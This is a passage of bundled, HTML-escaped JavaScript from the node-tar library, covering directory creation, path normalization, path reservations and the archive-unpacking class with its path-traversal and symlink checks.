      const mode = opt.mode | 448;
      const needChmod = (mode &amp; umask2) !== 0;
      const uid = opt.uid;
      const gid = opt.gid;
      const doChown = typeof uid === &quot;number&quot; &amp;&amp; typeof gid === &quot;number&quot; &amp;&amp; (uid !== opt.processUid || gid !== opt.processGid);
      const preserve = opt.preserve;
      const unlink = opt.unlink;
      const cwd = normalizeWindowsPath(opt.cwd);
      const done = (er, created) =&gt; {
        if (er) {
          cb(er);
        } else {
          if (created &amp;&amp; doChown) {
            chownr(created, uid, gid, (er2) =&gt; done(er2));
          } else if (needChmod) {
            import_node_fs3.default.chmod(dir, mode, cb);
          } else {
            cb();
          }
        }
      };
      if (dir === cwd) {
        return checkCwd(dir, done);
      }
      if (preserve) {
        return import_promises.default.mkdir(dir, { mode, recursive: true }).then(
          (made) =&gt; done(null, made ?? void 0),
          // oh, ts
          done
        );
      }
      const sub = normalizeWindowsPath(import_node_path4.default.relative(cwd, dir));
      const parts = sub.split(&quot;/&quot;);
      mkdir_(cwd, parts, mode, unlink, cwd, void 0, done);
    };
    mkdir_ = (base, parts, mode, unlink, cwd, created, cb) =&gt; {
      if (parts.length === 0) {
        return cb(null, created);
      }
      const p = parts.shift();
      const part = normalizeWindowsPath(import_node_path4.default.resolve(base + &quot;/&quot; + p));
      import_node_fs3.default.mkdir(part, mode, onmkdir(part, parts, mode, unlink, cwd, created, cb));
    };
    onmkdir = (part, parts, mode, unlink, cwd, created, cb) =&gt; (er) =&gt; {
      if (er) {
        import_node_fs3.default.lstat(part, (statEr, st) =&gt; {
          if (statEr) {
            statEr.path = statEr.path &amp;&amp; normalizeWindowsPath(statEr.path);
            cb(statEr);
          } else if (st.isDirectory()) {
            mkdir_(part, parts, mode, unlink, cwd, created, cb);
          } else if (unlink) {
            import_node_fs3.default.unlink(part, (er2) =&gt; {
              if (er2) {
                return cb(er2);
              }
              import_node_fs3.default.mkdir(part, mode, onmkdir(part, parts, mode, unlink, cwd, created, cb));
            });
          } else if (st.isSymbolicLink()) {
            return cb(new SymlinkError(part, part + &quot;/&quot; + parts.join(&quot;/&quot;)));
          } else {
            cb(er);
          }
        });
      } else {
        created = created || part;
        mkdir_(part, parts, mode, unlink, cwd, created, cb);
      }
    };
    checkCwdSync = (dir) =&gt; {
      let ok = false;
      let code2;
      try {
        ok = import_node_fs3.default.statSync(dir).isDirectory();
      } catch (er) {
        code2 = er?.code;
      } finally {
        if (!ok) {
          throw new CwdError(dir, code2 ?? &quot;ENOTDIR&quot;);
        }
      }
    };
    mkdirSync2 = (dir, opt) =&gt; {
      dir = normalizeWindowsPath(dir);
      const umask2 = opt.umask ?? 18;
      const mode = opt.mode | 448;
      const needChmod = (mode &amp; umask2) !== 0;
      const uid = opt.uid;
      const gid = opt.gid;
      const doChown = typeof uid === &quot;number&quot; &amp;&amp; typeof gid === &quot;number&quot; &amp;&amp; (uid !== opt.processUid || gid !== opt.processGid);
      const preserve = opt.preserve;
      const unlink = opt.unlink;
      const cwd = normalizeWindowsPath(opt.cwd);
      const done = (created2) =&gt; {
        if (created2 &amp;&amp; doChown) {
          chownrSync(created2, uid, gid);
        }
        if (needChmod) {
          import_node_fs3.default.chmodSync(dir, mode);
        }
      };
      if (dir === cwd) {
        checkCwdSync(cwd);
        return done();
      }
      if (preserve) {
        return done(import_node_fs3.default.mkdirSync(dir, { mode, recursive: true }) ?? void 0);
      }
      const sub = normalizeWindowsPath(import_node_path4.default.relative(cwd, dir));
      const parts = sub.split(&quot;/&quot;);
      let created;
      for (let p = parts.shift(), part = cwd; p &amp;&amp; (part += &quot;/&quot; + p); p = parts.shift()) {
        part = normalizeWindowsPath(import_node_path4.default.resolve(part));
        try {
          import_node_fs3.default.mkdirSync(part, mode);
          created = created || part;
        } catch {
          const st = import_node_fs3.default.lstatSync(part);
          if (st.isDirectory()) {
            continue;
          } else if (unlink) {
            import_node_fs3.default.unlinkSync(part);
            import_node_fs3.default.mkdirSync(part, mode);
            created = created || part;
            continue;
          } else if (st.isSymbolicLink()) {
            return new SymlinkError(part, part + &quot;/&quot; + parts.join(&quot;/&quot;));
          }
        }
      }
      return done(created);
    };
  }
});

// node_modules/tar/dist/esm/strip-absolute-path.js
var import_node_path5, isAbsolute, parse3, stripAbsolutePath;
var init_strip_absolute_path = __esm({
  &quot;node_modules/tar/dist/esm/strip-absolute-path.js&quot;() {
    import_node_path5 = require(&quot;node:path&quot;);
    ({ isAbsolute, parse: parse3 } = import_node_path5.win32);
    stripAbsolutePath = (path16) =&gt; {
      let r = &quot;&quot;;
      let parsed = parse3(path16);
      while (isAbsolute(path16) || parsed.root) {
        const root = path16.charAt(0) === &quot;/&quot; &amp;&amp; path16.slice(0, 4) !== &quot;//?/&quot; ? &quot;/&quot; : parsed.root;
        path16 = path16.slice(root.length);
        r += root;
        parsed = parse3(path16);
      }
      return [r, path16];
    };
  }
});

// node_modules/tar/dist/esm/winchars.js
var raw, win, toWin, toRaw, encode2, decode;
var init_winchars = __esm({
  &quot;node_modules/tar/dist/esm/winchars.js&quot;() {
    raw = [&quot;|&quot;, &quot;&lt;&quot;, &quot;&gt;&quot;, &quot;?&quot;, &quot;:&quot;];
    win = raw.map((char) =&gt; String.fromCodePoint(61440 + Number(char.codePointAt(0))));
    toWin = new Map(raw.map((char, i) =&gt; [char, win[i]]));
    toRaw = new Map(win.map((char, i) =&gt; [char, raw[i]]));
    encode2 = (s) =&gt; raw.reduce((s2, c) =&gt; s2.split(c).join(toWin.get(c)), s);
    decode = (s) =&gt; win.reduce((s2, c) =&gt; s2.split(c).join(toRaw.get(c)), s);
  }
});

// node_modules/tar/dist/esm/normalize-unicode.js
var normalizeCache, MAX, cache, normalizeUnicode;
var init_normalize_unicode = __esm({
  &quot;node_modules/tar/dist/esm/normalize-unicode.js&quot;() {
    normalizeCache = /* @__PURE__ */ Object.create(null);
    MAX = 1e4;
    cache = /* @__PURE__ */ new Set();
    normalizeUnicode = (s) =&gt; {
      if (!cache.has(s)) {
        normalizeCache[s] = s.normalize(&quot;NFD&quot;).toLocaleLowerCase(&quot;en&quot;).toLocaleUpperCase(&quot;en&quot;);
      } else {
        cache.delete(s);
      }
      cache.add(s);
      const ret = normalizeCache[s];
      let i = cache.size - MAX;
      if (i &gt; MAX / 10) {
        for (const s2 of cache) {
          cache.delete(s2);
          delete normalizeCache[s2];
          if (--i &lt;= 0)
            break;
        }
      }
      return ret;
    };
  }
});

// node_modules/tar/dist/esm/path-reservations.js
var import_node_path6, platform3, isWindows2, getDirs, PathReservations;
var init_path_reservations = __esm({
  &quot;node_modules/tar/dist/esm/path-reservations.js&quot;() {
    import_node_path6 = require(&quot;node:path&quot;);
    init_normalize_unicode();
    init_strip_trailing_slashes();
    platform3 = process.env.TESTING_TAR_FAKE_PLATFORM || process.platform;
    isWindows2 = platform3 === &quot;win32&quot;;
    getDirs = (path16) =&gt; {
      const dirs = path16.split(&quot;/&quot;).slice(0, -1).reduce((set, path17) =&gt; {
        const s = set.at(-1);
        if (s !== void 0) {
          path17 = (0, import_node_path6.join)(s, path17);
        }
        set.push(path17 || &quot;/&quot;);
        return set;
      }, []);
      return dirs;
    };
    PathReservations = class {
      // path =&gt; [function or Set]
      // A Set object means a directory reservation
      // A fn is a direct reservation on that path
      #queues = /* @__PURE__ */ new Map();
      // fn =&gt; {paths:[path,...], dirs:[path, ...]}
      #reservations = /* @__PURE__ */ new Map();
      // functions currently running
      #running = /* @__PURE__ */ new Set();
      reserve(paths, fn2) {
        paths = isWindows2 ? [&quot;win32 parallelization disabled&quot;] : paths.map((p) =&gt; {
          return stripTrailingSlashes((0, import_node_path6.join)(normalizeUnicode(p)));
        });
        const dirs = new Set(paths.map((path16) =&gt; getDirs(path16)).reduce((a, b) =&gt; a.concat(b)));
        this.#reservations.set(fn2, { dirs, paths });
        for (const p of paths) {
          const q = this.#queues.get(p);
          if (!q) {
            this.#queues.set(p, [fn2]);
          } else {
            q.push(fn2);
          }
        }
        for (const dir of dirs) {
          const q = this.#queues.get(dir);
          if (!q) {
            this.#queues.set(dir, [/* @__PURE__ */ new Set([fn2])]);
          } else {
            const l = q.at(-1);
            if (l instanceof Set) {
              l.add(fn2);
            } else {
              q.push(/* @__PURE__ */ new Set([fn2]));
            }
          }
        }
        return this.#run(fn2);
      }
      // return the queues for each path the function cares about
      // fn =&gt; {paths, dirs}
      #getQueues(fn2) {
        const res = this.#reservations.get(fn2);
        if (!res) {
          throw new Error(&quot;function does not have any path reservations&quot;);
        }
        return {
          paths: res.paths.map((path16) =&gt; this.#queues.get(path16)),
          dirs: [...res.dirs].map((path16) =&gt; this.#queues.get(path16))
        };
      }
      // check if fn is first in line for all its paths, and is
      // included in the first set for all its dir queues
      check(fn2) {
        const { paths, dirs } = this.#getQueues(fn2);
        return paths.every((q) =&gt; q &amp;&amp; q[0] === fn2) &amp;&amp; dirs.every((q) =&gt; q &amp;&amp; q[0] instanceof Set &amp;&amp; q[0].has(fn2));
      }
      // run the function if it&#039;s first in line and not already running
      #run(fn2) {
        if (this.#running.has(fn2) || !this.check(fn2)) {
          return false;
        }
        this.#running.add(fn2);
        fn2(() =&gt; this.#clear(fn2));
        return true;
      }
      #clear(fn2) {
        if (!this.#running.has(fn2)) {
          return false;
        }
        const res = this.#reservations.get(fn2);
        if (!res) {
          throw new Error(&quot;invalid reservation&quot;);
        }
        const { paths, dirs } = res;
        const next = /* @__PURE__ */ new Set();
        for (const path16 of paths) {
          const q = this.#queues.get(path16);
          if (!q || q?.[0] !== fn2) {
            continue;
          }
          const q0 = q[1];
          if (!q0) {
            this.#queues.delete(path16);
            continue;
          }
          q.shift();
          if (typeof q0 === &quot;function&quot;) {
            next.add(q0);
          } else {
            for (const f of q0) {
              next.add(f);
            }
          }
        }
        for (const dir of dirs) {
          const q = this.#queues.get(dir);
          const q0 = q?.[0];
          if (!q || !(q0 instanceof Set))
            continue;
          if (q0.size === 1 &amp;&amp; q.length === 1) {
            this.#queues.delete(dir);
            continue;
          } else if (q0.size === 1) {
            q.shift();
            const n = q[0];
            if (typeof n === &quot;function&quot;) {
              next.add(n);
            }
          } else {
            q0.delete(fn2);
          }
        }
        this.#running.delete(fn2);
        next.forEach((fn3) =&gt; this.#run(fn3));
        return true;
      }
    };
  }
});

// node_modules/tar/dist/esm/process-umask.js
var umask;
var init_process_umask = __esm({
  &quot;node_modules/tar/dist/esm/process-umask.js&quot;() {
    umask = () =&gt; process.umask();
  }
});

// node_modules/tar/dist/esm/unpack.js
var import_node_assert, import_node_crypto, import_node_fs4, import_node_path7, ONENTRY, CHECKFS, CHECKFS2, ISREUSABLE, MAKEFS, FILE, DIRECTORY, LINK, SYMLINK, HARDLINK, ENSURE_NO_SYMLINK, UNSUPPORTED, CHECKPATH, STRIPABSOLUTEPATH, MKDIR, ONERROR, PENDING, PEND, UNPEND, ENDED2, MAYBECLOSE, SKIP, DOCHOWN, UID, GID, CHECKED_CWD, platform4, isWindows3, DEFAULT_MAX_DEPTH, unlinkFile, unlinkFileSync, uint32, Unpack, callSync, UnpackSync;
var init_unpack = __esm({
  &quot;node_modules/tar/dist/esm/unpack.js&quot;() {
    init_esm2();
    import_node_assert = __toESM(require(&quot;node:assert&quot;), 1);
    import_node_crypto = require(&quot;node:crypto&quot;);
    import_node_fs4 = __toESM(require(&quot;node:fs&quot;), 1);
    import_node_path7 = __toESM(require(&quot;node:path&quot;), 1);
    init_get_write_flag();
    init_mkdir();
    init_normalize_windows_path();
    init_parse();
    init_strip_absolute_path();
    init_winchars();
    init_path_reservations();
    init_symlink_error();
    init_process_umask();
    ONENTRY = /* @__PURE__ */ Symbol(&quot;onEntry&quot;);
    CHECKFS = /* @__PURE__ */ Symbol(&quot;checkFs&quot;);
    CHECKFS2 = /* @__PURE__ */ Symbol(&quot;checkFs2&quot;);
    ISREUSABLE = /* @__PURE__ */ Symbol(&quot;isReusable&quot;);
    MAKEFS = /* @__PURE__ */ Symbol(&quot;makeFs&quot;);
    FILE = /* @__PURE__ */ Symbol(&quot;file&quot;);
    DIRECTORY = /* @__PURE__ */ Symbol(&quot;directory&quot;);
    LINK = /* @__PURE__ */ Symbol(&quot;link&quot;);
    SYMLINK = /* @__PURE__ */ Symbol(&quot;symlink&quot;);
    HARDLINK = /* @__PURE__ */ Symbol(&quot;hardlink&quot;);
    ENSURE_NO_SYMLINK = /* @__PURE__ */ Symbol(&quot;ensureNoSymlink&quot;);
    UNSUPPORTED = /* @__PURE__ */ Symbol(&quot;unsupported&quot;);
    CHECKPATH = /* @__PURE__ */ Symbol(&quot;checkPath&quot;);
    STRIPABSOLUTEPATH = /* @__PURE__ */ Symbol(&quot;stripAbsolutePath&quot;);
    MKDIR = /* @__PURE__ */ Symbol(&quot;mkdir&quot;);
    ONERROR = /* @__PURE__ */ Symbol(&quot;onError&quot;);
    PENDING = /* @__PURE__ */ Symbol(&quot;pending&quot;);
    PEND = /* @__PURE__ */ Symbol(&quot;pend&quot;);
    UNPEND = /* @__PURE__ */ Symbol(&quot;unpend&quot;);
    ENDED2 = /* @__PURE__ */ Symbol(&quot;ended&quot;);
    MAYBECLOSE = /* @__PURE__ */ Symbol(&quot;maybeClose&quot;);
    SKIP = /* @__PURE__ */ Symbol(&quot;skip&quot;);
    DOCHOWN = /* @__PURE__ */ Symbol(&quot;doChown&quot;);
    UID = /* @__PURE__ */ Symbol(&quot;uid&quot;);
    GID = /* @__PURE__ */ Symbol(&quot;gid&quot;);
    CHECKED_CWD = /* @__PURE__ */ Symbol(&quot;checkedCwd&quot;);
    platform4 = process.env.TESTING_TAR_FAKE_PLATFORM || process.platform;
    isWindows3 = platform4 === &quot;win32&quot;;
    DEFAULT_MAX_DEPTH = 1024;
    unlinkFile = (path16, cb) =&gt; {
      if (!isWindows3) {
        return import_node_fs4.default.unlink(path16, cb);
      }
      const name2 = path16 + &quot;.DELETE.&quot; + (0, import_node_crypto.randomBytes)(16).toString(&quot;hex&quot;);
      import_node_fs4.default.rename(path16, name2, (er) =&gt; {
        if (er) {
          return cb(er);
        }
        import_node_fs4.default.unlink(name2, cb);
      });
    };
    unlinkFileSync = (path16) =&gt; {
      if (!isWindows3) {
        return import_node_fs4.default.unlinkSync(path16);
      }
      const name2 = path16 + &quot;.DELETE.&quot; + (0, import_node_crypto.randomBytes)(16).toString(&quot;hex&quot;);
      import_node_fs4.default.renameSync(path16, name2);
      import_node_fs4.default.unlinkSync(name2);
    };
    uint32 = (a, b, c) =&gt; a !== void 0 &amp;&amp; a === a &gt;&gt;&gt; 0 ? a : b !== void 0 &amp;&amp; b === b &gt;&gt;&gt; 0 ? b : c;
    Unpack = class extends Parser {
      [ENDED2] = false;
      [CHECKED_CWD] = false;
      [PENDING] = 0;
      reservations = new PathReservations();
      transform;
      writable = true;
      readable = false;
      uid;
      gid;
      setOwner;
      preserveOwner;
      processGid;
      processUid;
      maxDepth;
      forceChown;
      win32;
      newer;
      keep;
      noMtime;
      preservePaths;
      unlink;
      cwd;
      strip;
      processUmask;
      umask;
      dmode;
      fmode;
      chmod;
      constructor(opt = {}) {
        opt.ondone = () =&gt; {
          this[ENDED2] = true;
          this[MAYBECLOSE]();
        };
        super(opt);
        this.transform = opt.transform;
        this.chmod = !!opt.chmod;
        if (typeof opt.uid === &quot;number&quot; || typeof opt.gid === &quot;number&quot;) {
          if (typeof opt.uid !== &quot;number&quot; || typeof opt.gid !== &quot;number&quot;) {
            throw new TypeError(&quot;cannot set owner without number uid and gid&quot;);
          }
          if (opt.preserveOwner) {
            throw new TypeError(&quot;cannot preserve owner in archive and also set owner explicitly&quot;);
          }
          this.uid = opt.uid;
          this.gid = opt.gid;
          this.setOwner = true;
        } else {
          this.uid = void 0;
          this.gid = void 0;
          this.setOwner = false;
        }
        this.preserveOwner = opt.preserveOwner === void 0 &amp;&amp; typeof opt.uid !== &quot;number&quot; ? !!(process.getuid?.() === 0) : !!opt.preserveOwner;
        this.processUid = (this.preserveOwner || this.setOwner) &amp;&amp; process.getuid ? process.getuid() : void 0;
        this.processGid = (this.preserveOwner || this.setOwner) &amp;&amp; process.getgid ? process.getgid() : void 0;
        this.maxDepth = typeof opt.maxDepth === &quot;number&quot; ? opt.maxDepth : DEFAULT_MAX_DEPTH;
        this.forceChown = opt.forceChown === true;
        this.win32 = !!opt.win32 || isWindows3;
        this.newer = !!opt.newer;
        this.keep = !!opt.keep;
        this.noMtime = !!opt.noMtime;
        this.preservePaths = !!opt.preservePaths;
        this.unlink = !!opt.unlink;
        this.cwd = normalizeWindowsPath(import_node_path7.default.resolve(opt.cwd || process.cwd()));
        this.strip = Number(opt.strip) || 0;
        this.processUmask = !this.chmod ? 0 : typeof opt.processUmask === &quot;number&quot; ? opt.processUmask : umask();
        this.umask = typeof opt.umask === &quot;number&quot; ? opt.umask : this.processUmask;
        this.dmode = opt.dmode || 511 &amp; ~this.umask;
        this.fmode = opt.fmode || 438 &amp; ~this.umask;
        this.on(&quot;entry&quot;, (entry) =&gt; this[ONENTRY](entry));
      }
      // a bad or damaged archive is a warning for Parser, but an error
      // when extracting.  Mark those errors as unrecoverable, because
      // the Unpack contract cannot be met.
      warn(code2, msg, data = {}) {
        if (code2 === &quot;TAR_BAD_ARCHIVE&quot; || code2 === &quot;TAR_ABORT&quot;) {
          data.recoverable = false;
        }
        return super.warn(code2, msg, data);
      }
      [MAYBECLOSE]() {
        if (this[ENDED2] &amp;&amp; this[PENDING] === 0) {
          this.emit(&quot;prefinish&quot;);
          this.emit(&quot;finish&quot;);
          this.emit(&quot;end&quot;);
        }
      }
      // return false if we need to skip this file
      // return true if the field was successfully sanitized
      [STRIPABSOLUTEPATH](entry, field) {
        const p = entry[field];
        const { type } = entry;
        if (!p || this.preservePaths)
          return true;
        const [root, stripped] = stripAbsolutePath(p);
        const parts = stripped.replaceAll(/\\/g, &quot;/&quot;).split(&quot;/&quot;);
        if (parts.includes(&quot;..&quot;) || /* c8 ignore next */
        isWindows3 &amp;&amp; /^[a-z]:\.\.$/i.test(parts[0] ?? &quot;&quot;)) {
          if (field === &quot;path&quot; || type === &quot;Link&quot;) {
            this.warn(&quot;TAR_ENTRY_ERROR&quot;, `${field} contains &#039;..&#039;`, {
              entry,
              [field]: p
            });
            return false;
          }
          const entryDir = import_node_path7.default.posix.dirname(entry.path);
          const resolved = import_node_path7.default.posix.normalize(import_node_path7.default.posix.join(entryDir, parts.join(&quot;/&quot;)));
          if (resolved.startsWith(&quot;../&quot;) || resolved === &quot;..&quot;) {
            this.warn(&quot;TAR_ENTRY_ERROR&quot;, `${field} escapes extraction directory`, {
              entry,
              [field]: p
            });
            return false;
          }
        }
        if (root) {
          entry[field] = String(stripped);
          this.warn(&quot;TAR_ENTRY_INFO&quot;, `stripping ${root} from absolute ${field}`, {
            entry,
            [field]: p
          });
        }
        return true;
      }
      // no IO, just string checking for absolute indicators
      [CHECKPATH](entry) {
        const p = normalizeWindowsPath(entry.path);
        const parts = p.split(&quot;/&quot;);
        if (this.strip) {
          if (parts.length &lt; this.strip) {
            return false;
          }
          if (entry.type === &quot;Link&quot;) {
            const linkparts = normalizeWindowsPath(String(entry.linkpath)).split(&quot;/&quot;);
            if (linkparts.length &gt;= this.strip) {
              entry.linkpath = linkparts.slice(this.strip).join(&quot;/&quot;);
            } else {
              return false;
            }
          }
          parts.splice(0, this.strip);
          entry.path = parts.join(&quot;/&quot;);
        }
        if (isFinite(this.maxDepth) &amp;&amp; parts.length &gt; this.maxDepth) {
          this.warn(&quot;TAR_ENTRY_ERROR&quot;, &quot;path excessively deep&quot;, {
            entry,
            path: p,
            depth: parts.length,
            maxDepth: this.maxDepth
          });
          return false;
        }
        if (!this[STRIPABSOLUTEPATH](entry, &quot;path&quot;) || !this[STRIPABSOLUTEPATH](entry, &quot;linkpath&quot;)) {
          return false;
        }
        entry.absolute = import_node_path7.default.isAbsolute(entry.path) ? normalizeWindowsPath(import_node_path7.default.resolve(entry.path)) : normalizeWindowsPath(import_node_path7.default.resolve(this.cwd, entry.path));
        if (!this.preservePaths &amp;&amp; typeof entry.absolute === &quot;string&quot; &amp;&amp; entry.absolute.indexOf(this.cwd + &quot;/&quot;) !== 0 &amp;&amp; entry.absolute !== this.cwd) {
          this.warn(&quot;TAR_ENTRY_ERROR&quot;, &quot;path escaped extraction target&quot;, {
            entry,
            path: normalizeWindowsPath(entry.path),
            resolvedPath: entry.absolute,
            cwd: this.cwd
          });
          return false;
        }
        if (entry.absolute === this.cwd &amp;&amp; entry.type !== &quot;Directory&quot; &amp;&amp; entry.type !== &quot;GNUDumpDir&quot;) {
          return false;
        }
        if (this.win32) {
          const { root: aRoot } = import_node_path7.default.win32.parse(String(entry.absolute));
          entry.absolute = aRoot + encode2(String(entry.absolute).slice(aRoot.length));
          const { root: pRoot } = import_node_path7.default.win32.parse(entry.path);
          entry.path = pRoot + encode2(entry.path.slice(pRoot.length));
        }
        return true;
      }
      [ONENTRY](entry) {
        if (!this[CHECKPATH](entry)) {
          return entry.resume();
        }
        import_node_assert.default.equal(typeof entry.absolute, &quot;string&quot;);
        switch (entry.type) {
          case &quot;Directory&quot;:
          case &quot;GNUDumpDir&quot;:
            if (entry.mode) {
              entry.mode = entry.mode | 448;
            }
          // eslint-disable-next-line no-fallthrough
          case &quot;File&quot;:
          case &quot;OldFile&quot;:
          case &quot;ContiguousFile&quot;:
          case &quot;Link&quot;:
          case &quot;SymbolicLink&quot;:
            return this[CHECKFS](entry);
          case &quot;CharacterDevice&quot;:
          case &quot;BlockDevice&quot;:
          case &quot;FIFO&quot;:
          default:
            return this[UNSUPPORTED](entry);
        }
      }
      [ONERROR](er, entry) {
        if (er.name === &quot;CwdError&quot;) {
          this.emit(&quot;error&quot;, er);
        } else {
          this.warn(&quot;TAR_ENTRY_ERROR&quot;, er, { entry });
          this[UNPEND]();
          entry.resume();
        }
      }
      [MKDIR](dir, mode, cb) {
        void mkdir(normalizeWindowsPath(dir), {
          uid: this.uid,
          gid: this.gid,
          processUid: this.processUid,
          processGid: this.processGid,
          umask: this.processUmask,
          preserve: this.preservePaths,
          unlink: this.unlink,
          cwd: this.cwd,
          mode
        }, cb);
      }
      [DOCHOWN](entry) {
        return this.forceChown || this.preserveOwner &amp;&amp; (typeof entry.uid === &quot;number&quot; &amp;&amp; entry.uid !== this.processUid || typeof entry.gid === &quot;number&quot; &amp;&amp; entry.gid !== this.processGid) || typeof this.uid === &quot;number&quot; &amp;&amp; this.uid !== this.processUid || typeof this.gid === &quot;number&quot; &amp;&amp; this.gid !== this.processGid;
      }
      [UID](entry) {
        return uint32(this.uid, entry.uid, this.processUid);
      }
      [GID](entry) {
        return uint32(this.gid, entry.gid, this.processGid);
      }
      [FILE](entry, fullyDone) {
        const mode = typeof entry.mode === &quot;number&quot; ? entry.mode &amp; 4095 : this.fmode;
        const stream = new WriteStream(String(entry.absolute), {
          // slight lie, but it can be numeric flags
          flags: getWriteFlag(entry.size),
          mode,
          autoClose: false
        });
        stream.on(&quot;error&quot;, (er) =&gt; {
          if (stream.fd) {
            import_node_fs4.default.close(stream.fd, () =&gt; {
            });
          }
          stream.write = () =&gt; true;
          this[ONERROR](er, entry);
          fullyDone();
        });
        let actions = 1;
        const done = (er) =&gt; {
          if (er) {
            if (stream.fd) {
              import_node_fs4.default.close(stream.fd, () =&gt; {
              });
            }
            this[ONERROR](er, entry);
            fullyDone();
            return;
          }
          if (--actions === 0) {
            if (stream.fd !== void 0) {
              import_node_fs4.default.close(stream.fd, (er2) =&gt; {
                if (er2) {
                  this[ONERROR](er2, entry);
                } else {
                  this[UNPEND]();
                }
                fullyDone();
              });
            }
          }
        };
        stream.on(&quot;finish&quot;, () =&gt; {
          const abs = String(entry.absolute);
          const fd = stream.fd;
          if (typeof fd === &quot;number&quot; &amp;&amp; entry.mtime &amp;&amp; !this.noMtime) {
            actions++;
            const atime = entry.atime || /* @__PURE__ */ new Date();
            const mtime = entry.mtime;
            import_node_fs4.default.futimes(fd, atime, mtime, (er) =&gt; er ? import_node_fs4.default.utimes(abs, atime, mtime, (er2) =&gt; done(er2 &amp;&amp; er)) : done());
          }
          if (typeof fd === &quot;number&quot; &amp;&amp; this[DOCHOWN](entry)) {
            actions++;
            const uid = this[UID](entry);
            const gid = this[GID](entry);
            if (typeof uid === &quot;number&quot; &amp;&amp; typeof gid === &quot;number&quot;) {
              import_node_fs4.default.fchown(fd, uid, gid, (er) =&gt; er ? import_node_fs4.default.chown(abs, uid, gid, (er2) =&gt; done(er2 &amp;&amp; er)) : done());
            }
          }
          done();
        });
        const tx = this.transform ? this.transform(entry) || entry : entry;
        if (tx !== entry) {
          tx.on(&quot;error&quot;, (er) =&gt; {
            this[ONERROR](er, entry);
            fullyDone();
          });
          entry.pipe(tx);
        }
        tx.pipe(stream);
      }
      [DIRECTORY](entry, fullyDone) {
        const mode = typeof entry.mode === &quot;number&quot; ? entry.mode &amp; 4095 : this.dmode;
        this[MKDIR](String(entry.absolute), mode, (er) =&gt; {
          if (er) {
            this[ONERROR](er, entry);
            fullyDone();
            return;
          }
          let actions = 1;
          const done = () =&gt; {
            if (--actions === 0) {
              fullyDone();
              this[UNPEND]();
              entry.resume();
            }
          };
          if (entry.mtime &amp;&amp; !this.noMtime) {
            actions++;
            import_node_fs4.default.utimes(String(entry.absolute), entry.atime || /* @__PURE__ */ new Date(), entry.mtime, done);
          }
          if (this[DOCHOWN](entry)) {
            actions++;
            import_node_fs4.default.chown(String(entry.absolute), Number(this[UID](entry)), Number(this[GID](entry)), done);
          }
          done();
        });
      }
      [UNSUPPORTED](entry) {
        entry.unsupported = true;
        this.warn(&quot;TAR_ENTRY_UNSUPPORTED&quot;, `unsupported entry type: ${entry.type}`, { entry });
        entry.resume();
      }
      [SYMLINK](entry, done) {
        const parts = normalizeWindowsPath(import_node_path7.default.relative(this.cwd, import_node_path7.default.resolve(import_node_path7.default.dirname(String(entry.absolute)), String(entry.linkpath)))).split(&quot;/&quot;);
        this[ENSURE_NO_SYMLINK](entry, this.cwd, parts, () =&gt; this[LINK](entry, String(entry.linkpath), &quot;symlink&quot;, done), (er) =&gt; {
          this[ONERROR](er, entry);
          done();
        });
      }
      [HARDLINK](entry, done) {
        const linkpath = normalizeWindowsPath(import_node_path7.default.resolve(this.cwd, String(entry.linkpath)));
        const parts = normalizeWindowsPath(String(entry.linkpath)).split(&quot;/&quot;);
        this[ENSURE_NO_SYMLINK](entry, this.cwd, parts, () =&gt; this[LINK](entry, linkpath, &quot;link&quot;, done), (er) =&gt; {
          this[ONERROR](er, entry);
          done();
        });
      }
      [ENSURE_NO_SYMLINK](entry, cwd, parts, done, onError) {
        const p = parts.shift();
        if (this.preservePaths || p === void 0)
          return done();
        const t = import_node_path7.default.resolve(cwd, p);
        import_node_fs4.default.lstat(t, (er, st) =&gt; {
          if (er)
            return done();
          if (st?.isSymbolicLink()) {
            return onError(new SymlinkError(t, import_node_path7.default.resolve(t, parts.join(&quot;/&quot;))));
          }
          this[ENSURE_NO_SYMLINK](entry, t, parts, done, onError);
        });
      }
      [PEND]() {
        this[PENDING]++;
      }
      [UNPEND]() {
        this[PENDING]--;
        this[MAYBECLOSE]();
      }
      [SKIP](entry) {
        this[UNPEND]();
        entry.resume();
      }
      // Check if we can reuse an existing filesystem entry safely and
      // overwrite it, rather than unlinking and recreating
      // Windows doesn&#039;t report a useful nlink, so we just never reuse entries
      [ISREUSABLE](entry, st) {
        return entry.type === &quot;File&quot; &amp;&amp; !this.unlink &amp;&amp; st.isFile() &amp;&amp; st.nlink &lt;= 1 &amp;&amp; !isWindows3;
      }
      // check if a thing is there, and if so, try to clobber it
      [CHECKFS](entry) {
        this[PEND]();
        const paths = [entry.path];
        if (entry.linkpath) {
          paths.push(entry.linkpath);
        }
        this.reservations.reserve(paths, (done) =&gt; this[CHECKFS2](entry, done));
      }
      [CHECKFS2](entry, fullyDone) {
        const done = (er) =&gt; {
          fullyDone(er);
        };
        const checkCwd2 = () =&gt; {
          this[MKDIR](this.cwd, this.dmode, (er) =&gt; {
            if (er) {
              this[ONERROR](er, entry);
              done();
              return;
            }
            this[CHECKED_CWD] = true;
            start();
          });
        };
        const start = () =&gt; {
          if (entry.absolute !== this.cwd) {
            const parent = normalizeWindowsPath(import_node_path7.default.dirname(String(entry.absolute)));
            if (parent !== this.cwd) {
              return this[MKDIR](parent, this.dmode, (er) =&gt; {
                if (er) {
                  this[ONERROR](er, entry);
                  done();
                  return;
                }
                afterMakeParent();
              });
            }
          }
          afterMakeParent();
        };
        const afterMakeParent = () =&gt; {
          import_node_fs4.default.lstat(String(entry.absolute), (lstatEr, st) =&gt; {
            if (st &amp;&amp; (this.keep || /* c8 ignore next */
            this.newer &amp;&amp; st.mtime &gt; (entry.mtime ?? st.mtime))) {
              this[SKIP](entry);
              done();
              return;
            }
            if (lstatEr || this[ISREUSABLE](entry, st)) {
              return this[MAKEFS](null, entry, done);
            }
            if (st.isDirectory()) {
              if (entry.type === &quot;Directory&quot;) {
                const needChmod = this.chmod &amp;&amp; entry.mode &amp;&amp; (st.mode &amp; 4095) !== entry.mode;
                const afterChmod = (er) =&gt; this[MAKEFS](er ?? null, entry, done);
                if (!needChmod) {
                  return afterChmod();
                }
                return import_node_fs4.default.chmod(String(entry.absolute), Number(entry.mode), afterChmod);
              }
              if (entry.absolute !== this.cwd) {
                return import_node_fs4.default.rmdir(String(entry.absolute), (er) =&gt; this[MAKEFS](er ?? null, entry, done));
              }
            }
            if (entry.absolute === this.cwd) {
              return this[MAKEFS](null, entry, done);
            }
            unlinkFile(String(entry.absolute), (er) =&gt; this[MAKEFS](er ?? null, entry, done));
          });
        };
        if (this[CHECKED_CWD]) {
          start();
        } else {
          checkCwd2();
        }
      }
      [MAKEFS](er, entry, done) {
        if (er) {
